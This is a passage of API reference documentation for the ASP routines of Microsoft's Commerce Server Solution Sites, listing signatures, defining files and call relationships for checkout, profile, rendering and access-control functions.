Definition

Sub CatchErrors(
  byVal mscsOrderGrp
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.

Defined in File

addrform.asp

Routines Called

GenerateURL

Called By

Main (addrform.asp)


CatchErrors (newaddr.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the addrform.asp page if the address book is disabled or set to read-only, to the basket.asp page if the basket is empty, or to the addrbook.asp page if trying to edit or delete a non-existent address.

Definition

Sub CatchErrors(
  byVal iAddrType,
  byVal sAction,
  byVal sAddrID,
  byVal rsAddr
)

Defined in File

newaddr.asp

Routines Called

GenerateURL

LoadBasket

Called By

SetupAddressForm


CatchErrors (pickship.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the basket.asp page if the basket is empty, or to the addrform.asp or addrbook.asp page if each item in the order does not have an associated shipping address.

Definition

Sub CatchErrors(
  byVal mscsOrderGrp
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.

Defined in File

pickship.asp

Routines Called

GenerateURL

GetAddressPage

RemoveEmptyOrderForms

Called By

PreparePickShipForm


CatchErrors (summary.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the appropriate page if an error is encountered.

Definition

Sub CatchErrors(
  byVal mscsOrderGrp,
  listMethods
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.
listMethods
A SimpleList object that contains payments methods for the user.

Defined in File

summary.asp

Routines Called

GenerateURL

GetAddressPage

RemoveEmptyOrderForms

Called By

InitializeSummaryPage

Remarks

This sub redirects the user to the basket.asp page if the basket is empty, to an error page if there are no applicable payment methods, to the pickship.asp page if each item in the order does not have an associated shipping method, or to the addrform.asp or addrbook.asp page if each item in the order does not have an associated shipping address or the order does not have a billing address.


CatchErrors (_setadrs.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the basket.asp page if the basket is empty, or to the addrbook.asp page if the address is not valid.

Definition

Sub CatchErrors(
  byVal mscsOrderGrp,
  byVal sAddrID,
  byVal rsAddr
)

Defined in File

_setadrs.asp

Routines Called

GenerateURL

Called By

Main (_setadrs.asp)


CatchErrors (_setship.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the basket.asp page if the basket is empty, or to the pickship.asp page if the shipping method is not valid.

Definition

Sub CatchErrors(
  mscsOrderGrp,
  byVal sSelectedMethodID
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.
sSelectedMethodID
A string containing the shipping method ID.

Defined in File

_setship.asp

Routines Called

bIsShippingMethodSupported

GenerateURL

Called By

Main (_setship.asp)


CatchErrorsForPaymentPages - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the appropriate page if an error is encountered when initializing the credit card or purchase order pages.

Definition

Sub CatchErrorsForPaymentPages(
  mscsOrderGrp,
  listMethods,
  sPaymentMethod,
  byRef sVerifyWithTotal
)

Defined in File

include\payment.asp

Routines Called

EnsureSupportForPaymentMethod

GenerateURL

GetAddressPage

GetRequestString

RemoveEmptyOrderForms

Called By

InitializeCreditcardPage

InitializePO


cellRenderReadOnlyProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares a read-only property to be rendered.

Definition

Function cellRenderReadOnlyProperty(
  byVal sFieldName,
  byVal sDisplayName,
  byVal sFieldValue,
  byVal sDisplayValue
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderBlankSpaces

RenderHiddenField

TRTag

Called By

rowRenderReadOnlyProperty

tblRenderOrderDetailsContents


ChangeActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function handles the "change password" action.

Definition

Function ChangeActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\password_handlers.asp

Routines Called

htmRenderChangePasswordPage

Called By

PasswordActionHandlers


CheckBasket - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub runs the basket pipeline to retrieve the latest basket information.

Definition

Sub CheckBasket(
  mscsOrderGrp,
  byRef bBasketIsEmpty,
  byRef iErrorCount,
  byRef bMustSaveBasket,
  byRef oOrderFormDisplayOrder
)

Defined in File

basket.asp

Routines Called

GetErrorCount

GetLineItemsCount

GetPipelineLogFile

RemoveEmptyOrderForms

RunMtsPipeline

SortDictionaryKeys

Called By

Main (basket.asp)


CheckIfOrderExists - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user or delegated administrator to the services\error\noorder.asp page if the specified order does not exist.

Definition

Sub CheckIfOrderExists(
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\lib.asp

Routines Called

GenerateURL

iGetCountOfProfiles

rsGetOrderDetails

Called By

Main (services\customer\view_order.asp)

Main (services\partner\view_order.asp)


CheckIfProfilesExist - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub determines whether the specified profiles exist.

Definition

Sub CheckIfProfilesExist(
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\lib.asp

Routines Called

GenerateURL

iGetCountOfProfiles

rsGetProfileDetails

Called By

Main (services\change_password.asp)

Main (services\customer\account.asp)

Main (services\partner\account.asp)

Main (services\partner\edit_user.asp)


CheckOut - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function runs the basket, total, and checkout pipelines.

Definition

Function CheckOut(
  mscsOrderGrp,
  byVal sVerifyWithTotal
)

Defined in File

include\payment.asp

Routines Called

GenerateURL

GetErrorCount

GetPipelineLogFile

RunMtsPipeline

Called By

InitSitePipelines

RunMtsPipeline

ValidateSubmittedCreditCardData

ValidateSubmittedPurchaseOrderData


CheckPartnerServiceAccess - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub implements page-level access control. It grants access to users who have their PartnerDeskRoleFlags set to ROLE_ADMIN. All others are redirected to an error page.

Definition

Sub CheckPartnerServiceAccess()

Defined in File

include\std_access_lib.asp

Routines Called

GenerateURL

GetCurrentUserProfile

Called By

Main (services\partner\account.asp)

Main (services\partner\edit_user.asp)

Main (services\partner\orders.asp)

Main (services\partner\users.asp)

Main (services\partner\view_order.asp)


CloseOrderDetailsActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub handles the "close order details" action.

Definition

Sub CloseOrderDetailsActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sSourcePage,
  byVal sProfileListPage
)

Parameters

sAction
A string containing the action.
sSubAction
A string containing the subaction.
sProfileIDs
A string containing profile IDs separated by a constant.
sSourcePage
A string containing the name of the page where this action occurred.
sProfileListPage
A string containing the name of the page that lists the profiles.

Defined in File

services\include\order_handlers.asp

Routines Called

GenerateURL

sGetThisPageProperty

Called By

Main (services\customer\view_order.asp)

Main (services\partner\view_order.asp)


CollectBasketItems - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves all the items in the specified OrderGroup object.

Definition

Function CollectBasketItems(
  oOrderGrp
)

Parameters

oOrderGrp
An OrderGroup object representing an order.

Return Value

A SimpleList object containing all the items in an order.

Defined in File

template\discount.asp

Routines Called

None.

Called By

GetBasketDetails

RenderBasketPage


colRenderAdvancedSearchTab - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds the advanced search option tab to list-type pages.

Definition

Function colRenderAdvancedSearchTab(
  sCriteria
)

Defined in File

services\include\render_common.asp

Routines Called

Bold

RenderLink

sReConstructPageURL

Called By

formRenderOrderSearchOptions

formRenderProfileSearchOptions


colRenderCountryNames - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the rendering of all country names.

Definition

Function colRenderCountryNames(
  byVal oProperty,
  byVal sPropertyValue
)

Defined in File

services\include\render_common.asp

Routines Called

ConvertListToArray

GetCountryNamesList

htmRenderCountries

Called By

None.


colRenderForeignKeyProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders hidden fields that contain a variety of content, depending on whether a pre-existing profile exists, whether a new profile is being created, and so on. A button is rendered to allow the user to submit the selected information.

Definition

Function colRenderForeignKeyProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal sProfileIDs,
  byVal varPropertyValue
)

Defined in File

services\include\render_edit_common.asp

Routines Called

iGetCountOfProfiles

RenderHiddenField

RenderSubmitButton

sGetSelectActionPropertyName

sGetUserLoginName

Called By

colRenderProperty


colRenderPasswordProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the rendering of the value for the user_security_password property.

Definition

Function colRenderPasswordProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal varPropertyValue
)

Defined in File

services\include\render_edit_common.asp

Routines Called

RenderPasswordBox

RenderSubmitButton

Called By

colRenderProperty


colRenderPrimaryKeyProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the rendering of the value for the primary key property.

Definition

Function colRenderPrimaryKeyProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal sProfileIDs,
  byVal varPropertyValue,
  byVal bDisplayPostedValues
)

Defined in File

services\include\render_edit_common.asp

Routines Called

iGetCountOfProfiles

RenderHiddenField

RenderTextBox

sGetThisPageProperty

Called By

rowRenderProperty


colRenderProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the rendering of a property.

Definition

Function colRenderProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal sProfileIDs,
  byVal varPropertyValue
)

Defined in File

services\include\render_edit_common.asp

Routines Called

colRenderForeignKeyProperty

colRenderPasswordProperty

htmRenderBoolean

htmRenderPartnerDeskRoles

htmRenderSiteTerm

htmRenderUserStatusOptions

RenderTextBox

Called By

rowRenderBlankProperty

rowRenderProperty


colRenderPropertyTip - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares a warning message for a property that fails validation.

Definition

Function colRenderPropertyTip(
  byVal sTip
)

Parameters

sTip
A string that contains the message.

Return Value

A string that contains the HTML message.

Defined in File

services\include\render_edit_common.asp

Routines Called

FormatOutput

RenderText

Called By

rowRenderPropertyTip


colRenderSimpleSearchTab - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds the simple search option tab to list-type pages.

Definition

Function colRenderSimpleSearchTab(
  byVal sCriteria
)

Defined in File

services\include\render_common.asp

Routines Called

Bold

RenderLink

sReConstructPageURL

Called By

formRenderOrderSearchOptions

formRenderProfileSearchOptions


colRenderUniqueKeyProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the rendering of the value for the unique key property.

Definition

Function colRenderUniqueKeyProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal sProfileIDs,
  byVal varPropertyValue
)

Defined in File

services\include\render_edit_common.asp

Routines Called

iGetCountOfProfiles

RenderHiddenField

RenderTextBox

Called By

rowRenderProperty


ConvertListToArray - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function converts a SimpleList object to an array.

Definition

Function ConvertListToArray(
  byVal list
)

Parameters

list
A SimpleList object.

Return Value

The array.

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

colRenderCountryNames


CopyProductToItem - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function copies product information into a Dictionary object.

Definition

Function CopyProductToItem(
  rsProduct,
  item,
  arrParentCategories
)

Parameters

rsProduct
A Recordset object containing information on a product.
item
A Dictionary object to contain the product information.
arrParentCategories
An array containing the parent categories for the product.

Return Value

None.

Defined in File

template\discount.asp

Routines Called

None.

Called By

listGetShownProductsInfo


CorrectRequest - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub corrects a cookie for URL case-sensitivity. This correction is performed to ensure that cookies are always read/written from the exact same hostname and path (cookie paths are case sensitive).

Definition

Sub CorrectRequest()

Defined in File

include\std_cookie_lib.asp

Routines Called

GetCorrectedCookiePath

GetCorrectedHostName

Called By

SetupPage

Remarks

If the App Default Config i_CookiePathCorrectionOptions property is set to APP_BASED_CORRECTION (1), the case of the path property of the cookie is converted to match the IIS application name.

If the App Default Config i_HostNameCorrectionOptions property is set to HOSTNAME_CORRECTION_ENABLED (1), the case of the domain name property of the cookie is converted to match the true host name.

If either correction is applied, the user is redirected to the URL, which now has the correct case.


CreateOptOutList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates a new empty mailing list, which is used to opt-out of a direct mail campaign.

Definition

Function CreateOptOutList(
  listmanager,
  campitem_id
)

Parameters

listmanager
An initialized ListManager object.
campitem_id
A GUID representing the campaign item ID of the direct mail item.

Return Value

A GUID representing the new list ID.

Defined in File

opt-out.asp

Routines Called

None.

Called By

OptOut


CreatePOIndexes - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub adds temporary item indices to each item in the specified OrderGroup object.

Definition

Sub CreatePOIndexes(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.

Defined in File

basket.asp

Routines Called

None.

Called By

htmRenderBasket


CreateSet - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates a set from an array of items. A "set" in this context is a comma-separated string.

Definition

Function CreateSet(
  byVal arrItems
)

Parameters

arrItems
An array.

Return Value

A string containing the set.

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

InitPageSets

Remarks

This function is passed an array of strings.


DeleteAllActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub checks the user action on the DeleteAll message box page, and redirects to the profile list page with the appropriate parameters.

Definition

Sub DeleteAllActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sProfileListPage
)

Defined in File

services\include\edit_handlers.asp

Routines Called

ReDirectToPage

Called By

htmEditPageActionHandlers


DeleteAllProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub deletes all the profiles returned by the search criteria in the corresponding list page.

Definition

Sub DeleteAllProfiles(
  byVal dictSearchOptions
)

Defined in File

services\include\delete_profiles.asp

Routines Called

GetTableNameAndWhereClause

sConstructWHEREclause

sGetWhereClauseForCurrentUser

Called By

PrepareDeleteAllAction

Remarks

This function uses ADO to access data directly.


DeleteRegisteredUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub deletes a specific registered user profile.

Definition

Sub DeleteRegisteredUser(
  byVal sID
)

Defined in File

services\include\delete_profiles.asp

Routines Called

None.

Called By

DeleteSingleProfile


DeleteSelectedProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub deletes all the selected profiles.

Definition

Sub DeleteSelectedProfiles(
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\delete_profiles.asp

Routines Called

DeleteSingleProfile

iGetCountOfProfiles

Called By

PrepareDeleteAction


DeleteSingleProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub deletes the specified profile.

Definition

Sub DeleteSingleProfile(
  byVal sProfileID
)

Parameters

sProfileID
A string containing the profile ID.

Defined in File

services\include\delete_profiles.asp

Routines Called

DeleteRegisteredUser

sGetThisPageProperty

Called By

bInsertProfileDetails

DeleteSelectedProfiles


DeSelectAllActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user in a "Select All" action.

Definition

Sub DeSelectAllActionHandler(
  byVal sProfileListPage
)

Defined in File

services\include\edit_handlers.asp

Routines Called

ReDirectToPage

Called By

htmEditPageActionHandlers


dictAggregatePreviews - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function aggregates shipping preview totals across the OrderGroup object.

Definition

Function dictAggregatePreviews(
  dictPreviewsPerOrderForm
)

Defined in File

pickship.asp

Routines Called

None.

Called By

PreparePickShipForm


dictGetCatalogAttributes - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves all the property definitions that exist in the Product Catalog System and places them in a Dictionary object for fast access.

Definition

Function dictGetCatalogAttributes(
  MSCSCatalogManager
)

Parameters

MSCSCatalogManager
An initialized CatalogManager object.

Return Value

A Dictionary object that contains all the property definitions that exist in the Product Catalog System.

Defined in File

include\global_catalog_lib.asp

Routines Called

dictGetRSFields

GetDictionary

Called By

Main (include\global_main_lib.asp)


dictGetInitialFieldValues - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object containing the default form field values for the address.

Definition

Function dictGetInitialFieldValues(
  byVal listFlds,
  byVal sAction,
  byVal rsAddr,
  byVal iAddrType
)

Defined in File

newaddr.asp

Routines Called

GetDictionary

RsToDict

Called By

SetupAddressForm


dictGetProfileSchemaForAllProfileTypes - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object representing the schema of all profile types.

Definition

Function dictGetProfileSchemaForAllProfileTypes(
  byVal oProfileService
)

Defined in File

include\global_profile_lib.asp

Routines Called

GetDictionary

listGetProfileSchema

oGetBizDataObject

oGetProfile

Called By

Main (include\global_main_lib.asp)

ProfileRefresh


dictGetpropertyFromList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the specified property from a list of properties.

Definition

Function dictGetpropertyFromList(
  byVal sPropertyName,
  byVal listValidProperties
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

listReConstructPropertiesSchema


dictGetPropertySchema - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Dictionary object containing property attributes. These attributes are used in the application for standard form validations, rendering functions, and profile updates.

Definition

Function dictGetPropertySchema (
  byVal oGroup,
  byVal oProperty,
  byRef oProfileDefsCatalog,
  byRef oSiteTermsProfile
)

Defined in File

include\global_forms_lib.asp

Routines Called

GetDictionary

oGetSiteTermOptions

Called By

AddGroupAndPropertySchemas


dictGetRSFields - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Dictionary object containing items whose values correspond to the field values of the Recordset object specified by the rs parameter.

Definition

Function dictGetRSFields(
  rs
)

Defined in File

include\global_catalog_lib.asp

Routines Called

GetDictionary

Called By

dictGetCatalogAttributes


dictGetSearchDictionaryForPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the filter criteria for the current user and page.

Definition

Function dictGetSearchDictionaryForPage(
  byVal sPageName
)

Defined in File

services\include\lib.asp

Routines Called

GetAttributeValueFromProfile

Called By

PrepareDeleteAllAction

PrepareSaveAllAction


DoubleQuote - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds escaped double quotes ("") to the beginning and end of the passed string and returns the resulting string.

Definition

Function DoubleQuote(
  byVal s
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

Analysis_ConstructKeyValueString

PredictedPropToHREF

TDTag

THTag


E - G

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section contains topics for the following routines, beginning with the letters E through G.

Routine | File
EnsureAccess | include\std_access_lib.asp
EnsureAuthAccess | include\std_access_lib.asp
EnsureSupportForPaymentMethod | include\payment.asp
EnsureUpToDateUserProfile | include\std_profile_lib.asp
EnsureUserHasRightsToCatalog | include\catalog.asp
EnsureUserProfile | include\std_profile_lib.asp
ErrorOut | opt-out.asp
FetchCategoryData | category.asp
FetchData | addrbook.asp
FetchData | newaddr.asp
FetchData | _setadrs.asp
FormatOutput | include\std_util_lib.asp
formRenderBlankEditPageBody | services\include\render_edit_blank.asp
formRenderChangePasswordPageContents | services\include\render_password.asp
formRenderEditPageBody | services\include\render_edit_common.asp
formRenderListPageContents | services\include\render_list.asp
formRenderOrderContents | services\include\render_orders.asp
formRenderOrderSearchOptions | services\include\render_orders.asp
formRenderOrdersListContents | services\include\render_orders.asp
formRenderPagingButtons | services\include\render_common.asp
formRenderProfileSearchOptions | services\include\render_list.asp
GenerateURL | include\std_url_lib.asp
GetActiveUsersOnly | services\include\save_one_profile.asp
GetAddressBookAddressFieldDefinitions | include\global_addressbook_lib.asp
GetAddresses | include\addr_lib.asp
GetAddressFieldDefinitions | include\global_addressbook_lib.asp
GetAddressPage | include\std_util_lib.asp
GetAddressType | include\addr_lib.asp
GetAncestorCategories | template\discount.asp
GetAnyLineItem | include\std_ordergrp_lib.asp
GetAnyOrderForm | include\std_ordergrp_lib.asp
GetAnySavedAddressID | addrform.asp
GetAppConfigObject | include\global_siteconfig_lib.asp
GetArrayFromList | include\std_util_lib.asp
GetAttributeValueFromProfile | services\include\get_profiles.asp
GetAuthManagerObject | include\std_access_lib.asp
GetBaseURL | include\global_siteconfig_lib.asp
GetBasketDetails | template\discount.asp
GetBillToCurrenciesListItems | include\global_internationalization_lib.asp
GetBillToCurrenciesListValues | include\global_internationalization_lib.asp
GetBillToCurrencyFieldDefinition | include\global_internationalization_lib.asp
GetCatalogForUser | include\catalog.asp
GetCommerceSiteInstallPoint | include\global_siteconfig_lib.asp
GetCommerceSiteName | include\global_siteconfig_lib.asp
GetComputerName | include\global_siteconfig_lib.asp
GetConfigDictionary | include\global_siteconfig_lib.asp
GetCorrectedCookiePath | include\std_cookie_lib.asp
GetCorrectedHostName | include\std_cookie_lib.asp
GetCountryCodesList | include\global_internationalization_lib.asp
GetCountryNamesList | include\global_internationalization_lib.asp
GetCreditCardCodesList | include\global_creditcards_lib.asp
GetCreditCardFieldDefinitions | include\global_creditcards_lib.asp
GetCreditCardNamesList | include\global_creditcards_lib.asp
GetCurrentUserProfile | include\std_profile_lib.asp
GetDefaultPaymentMethodForUser | include\payment.asp
GetDefaultValueForNameOnCard | crdtcard.asp
GetDefaultValuesForAddressFormFields | addrform.asp
GetDefaultValuesForCreditCardFields | crdtcard.asp
GetDefaultValuesForPurchaseOrderFields | po.asp
GetDictionary | include\std_util_lib.asp
GetDiscountDescription | include\std_util_lib.asp
GetDWConnectionString | include\global_data_lib.asp
GetErrorCount | include\std_ordergrp_lib.asp
GetErrorSource | include\std_util_lib.asp
GetFieldsErrorDictionary | include\form_lib.asp
GetFileSystemObject | include\std_util_lib.asp
GetFormDefinitions | include\global_forms_lib.asp
GetIISApplicationName | include\std_cookie_lib.asp
GetINIFileName | include\global_siteconfig_lib.asp
GetINIString | include\global_siteconfig_lib.asp
GetInputParameters | template\discount.asp
GetKeyValue | include\std_util_lib.asp
GetLineItemsCount | include\std_ordergrp_lib.asp
GetListItemIndex | include\std_util_lib.asp
GetLoginFieldDefinitions | include\global_forms_lib.asp
GetMachineBaseURL | include\global_siteconfig_lib.asp
GetMessageManagerObject | include\global_messagemanager_lib.asp
GetMonthCodesList | include\std_dates_lib.asp
GetMonthNamesList | include\std_dates_lib.asp
GetNewGuestUserProfile | include\std_profile_lib.asp
GetObjectInstanceDictionary | include\std_util_lib.asp
GetODBCTimeStamp | services\include\profiles_common.asp
GetOptOutList | opt-out.asp
GetOrderGroup | include\std_ordergrp_lib.asp
GetOrderGroupManager | include\std_ordergrp_lib.asp
GetOrganizationAddresses | include\addr_lib.asp
GetOrgAttributeFromID | services\include\get_profiles.asp
GetPartnerAndCustomerServicePageAttributes | services\include\global_service_lib.asp
GetPasswordFieldDefinition | include\global_forms_lib.asp
GetPaymentMethodDisplayName | include\payment.asp
GetPaymentMethodsForSite | include\global_siteconfig_lib.asp
GetPaymentMethodsForUser | include\payment.asp
GetPaymentPageFromPaymentMethod | include\payment.asp
GetPipelineLogFile | include\std_pipeline_lib.asp
GetPriceAndCurrency | include\catalog.asp
GetProductQuantity | _additem.asp
GetProfileFromDB | include\std_profile_lib.asp
GetProfileService | include\std_profile_lib.asp
GetPurchaseOrderFieldDefinitions | include\global_forms_lib.asp
GetQualifiedName | include\std_util_lib.asp
GetRecordCount | include\std_util_lib.asp
GetRegExp | include\std_util_lib.asp
GetRegistrationFieldDefinitions | include\global_forms_lib.asp
GetRepeatStyle | include\html_lib.asp
GetRequestString | include\std_url_lib.asp
GetRequestStringRange | include\std_url_lib.asp
GetRequestType | include\std_cookie_lib.asp
GetRootPath | include\global_siteconfig_lib.asp
GetSavedAddressID | addrform.asp
GetSearchDictionaryForThisPage | services\include\lib.asp
GetSecurePagesDictionary | include\global_siteconfig_lib.asp
GetShippingMethodNameFromID | _setship.asp
GetShipToAddressFieldDefinitions | include\global_addressbook_lib.asp
GetShownProductsDetails | template\discount.asp
GetSimpleList | include\std_util_lib.asp
GetSiteConfigObject | include\global_siteconfig_lib.asp
GetSitePages | include\global_siteconfig_lib.asp
GetSiteStyles | include\global_ui_lib.asp
GetSpecificationSearchClauses | stepsrch.asp
GetStatusFieldAndID | services\include\edit_handlers.asp
GetStyles | include\global_ui_lib.asp
GetSubmittedFieldValues | include\form_lib.asp
GetTableNameAndWhereClause | services\include\profiles_common.asp
GetTicketInUrlArg | include\std_url_lib.asp
GetTicketLocation | include\std_url_lib.asp
GetUserAccountControl | services\include\save_all_profiles.asp
GetUserAddresses | include\addr_lib.asp
GetUserInfo | include\std_access_lib.asp
GetUserProfileByLoginName | include\std_profile_lib.asp
GetUserPropertyFromID | services\include\get_profiles.asp
GetXMLForVendorItems | include\payment.asp
GetYearsListItems | include\std_dates_lib.asp
GetYearsListValues | include\std_dates_lib.asp


EnsureAccess - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub implements page-level access control. It grants access to users who are either authenticated to Internet Information Services (IIS), using Basic/Integrated Windows authentication, or have tickets. Call this sub from within the Main subroutine on every page that requires such access control. A call to this sub must appear before any other statement in the Main subroutine.

Definition

Sub EnsureAccess()

Defined in File

include\std_access_lib.asp

Routines Called

EnsureUserProfile

GenerateURL

GetCurrentUserProfile

GetNewGuestUserProfile

GetQualifiedName

IsFormLoginRequired

IsPersistentCookieAllowed

sGetUserIDForNewGuestUser

Called By

Main (_additem.asp)

Main (_delall.asp)

Main (_delitem.asp)

Main (_editqty.asp)

Main (_setship.asp)

Main (addrform.asp)

Main (basket.asp)

Main (category.asp)

Main (confirm.asp)

Main (crdtcard.asp)

Main (default.asp)

Main (dispatch.asp)

Main (pickship.asp)

Main (product.asp)

Main (search.asp)

Main (srchdept.asp)

Main (stepsrch.asp)

Main (summary.asp)

RecordClickToBasket


EnsureAuthAccess - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function implements page-level access control. It grants access to users who are either authenticated to Internet Information Services (IIS), using Basic/Integrated Windows authentication, or have an AUTH_TICKET. Call this function from within the Main subroutine on every page that requires such access control. A call to this function must appear before any other statement in the Main subroutine.

Definition

Function EnsureAuthAccess()

Return Value

Users who do not have a current profile are redirected to the "missing profile" error page (error\profile.asp). Otherwise, the function returns a Recordset object containing the current profile of the user.

Defined in File

include\std_access_lib.asp

Routines Called

EnsureUserProfile

GenerateURL

Called By

Main (_setadrs.asp)

Main (addrbook.asp)

Main (newaddr.asp)

Main (po.asp)

Main (services\change_password.asp)

Main (services\customer\account.asp)

Main (services\customer\orders.asp)

Main (services\customer\view_order.asp)

Main (services\partner\account.asp)

Main (services\partner\edit_user.asp)

Main (services\partner\orders.asp)

Main (services\partner\users.asp)

Main (services\partner\view_order.asp)


EnsureSupportForPaymentMethod - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub checks whether the selected payment method is supported for the user; if it is not, the user is redirected to the default payment method page for the user.

Definition

Sub EnsureSupportForPaymentMethod(
  listMethods,
  sPaymentMethod
)

Defined in File

include\payment.asp

Routines Called

GenerateURL

GetDefaultPaymentMethodForUser

GetPaymentPageFromPaymentMethod

IsEntityInList

Called By

CatchErrorsForPaymentPages


EnsureUpToDateUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves the profile of the user from the cache if it is up-to-date. Otherwise, the profile is retrieved from the Profiles store.

Definition

Sub EnsureUpToDateUserProfile(
  byRef rsUser
)

Defined in File

include\std_profile_lib.asp

Routines Called

GetProfileFromDB

Called By

GetCurrentUserProfile

GetUserProfileByLoginName

Remarks

For more information on profile caching and related Web farm issues, see About the Profiles Feature for Solution Sites.


EnsureUserHasRightsToCatalog - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub ensures that the user has access rights to the given catalog. If not, the user is redirected to the "bad catalog item" error page (error\baditem.asp).

Definition

Sub EnsureUserHasRightsToCatalog(
  byVal sCatalogName,
  byVal sUserID
)

Parameters

sCatalogName
A string containing the name of the catalog.
sUserID
A string containing the user ID.

Defined in File

include\catalog.asp

Routines Called

GenerateURL

mscsUserCatalogsetID

Called By

GetCatalogForUser

Main (category.asp)

Main (product.asp)


EnsureUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function ensures that the profile of the user exists. If not, the user is redirected to the "missing profile" error page (error\profile.asp).

Definition

